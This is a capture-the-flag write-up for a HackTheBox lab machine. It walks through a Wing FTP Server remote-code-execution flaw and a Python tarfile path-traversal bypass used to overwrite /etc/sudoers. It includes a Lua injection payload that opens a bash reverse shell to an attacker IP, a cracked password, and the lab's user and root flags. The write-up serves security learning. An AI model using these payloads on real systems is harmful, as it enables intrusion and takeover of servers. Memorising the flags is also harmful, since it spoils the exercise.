HackTheBox Writeup - WingData

WingData is an Easy-difficulty Linux machine that demonstrates the exploitation of a service-level RCE and a recently discovered path traversal vulnerability in a Python-based administrative script.

Reconnaissance

Port Scanning

An Nmap scan of the target (10.129.244.106) identified the following open ports:

• 22/tcp: SSH (OpenSSH 9.2p1)
• 80/tcp: HTTP (Apache 2.4.66)

Web Enumeration

Visiting the main website redirects to wingdata.htb. Fuzzing for subdomains revealed ftp.wingdata.htb, which hosts a Wing FTP Server v7.4.3 web interface.

Foothold: Wing FTP RCE (CVE-2025-47812)

The Wing FTP Server version 7.4.3 is vulnerable to an unauthenticated Remote Code Execution (RCE) due to improper handling of NULL bytes in the login parameters.

1. Exploitation

By injecting a Lua-based payload into the username field, we can trigger code execution. The payload uses a NULL byte (%00) to terminate the expected string and then executes a shell command.

Payload:

anonymous\x00]]\nos.execute('bash -c "bash -i >& /dev/tcp/10.10.14.203/4447 0>&1"')--

Executing this payload via a POST request to /loginok.html and then accessing /main.html with the returned session UID cookie grants a reverse shell as the wingftp user.

Lateral Movement: User wacky

Checking the Wing FTP configuration files, we find user definitions in XML format.

1. Extracting Hash: The file /opt/wftpserver/Data/1/users/wacky.xml contains a salted SHA-256 hash for the user wacky.
2. Cracking: The hash format is SHA256(password + "WingFTP"). Cracking it yields the password: !#7Blushing^*Bride5.
3. SSH Access: We can now SSH into the machine as wacky.

User Flag: 0a991c44d75243b720b85ac56690934a

Privilege Escalation: Root (CVE-2025-4517)

Checking sudo permissions for wacky:

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

1. Vulnerability Analysis

The restore_backup_clients.py script uses Python’s tarfile module to extract archives. Although it uses the filter="data" parameter (introduced in Python 3.12) to prevent path traversal, it is vulnerable to CVE-2025-4517. This vulnerability allows bypassing the filter if a symlink chain exceeds the system’s PATH_MAX (4096 bytes).

2. Exploitation

We can create a malicious tar archive that uses a complex symlink and hardlink chain to trick os.path.realpath() into returning a truncated path that bypasses the filter’s safety checks, while still allowing the extraction to follow the symlinks and write to arbitrary locations.

By pointing the chain to /etc/sudoers, we can overwrite it to grant wacky full sudo permissions.

1. Generate Exploit Tar: Use a specialized script to build a tarball with the symlink/hardlink chain targeting /etc/sudoers.
2. Run Restore Script:

   sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b exploit.tar -r restore_pwn
   

3. Root Access: With the modified sudoers file, we can become root:

   sudo su -
   

Root Flag: 098b06582906ea2b94ec9a34f809d646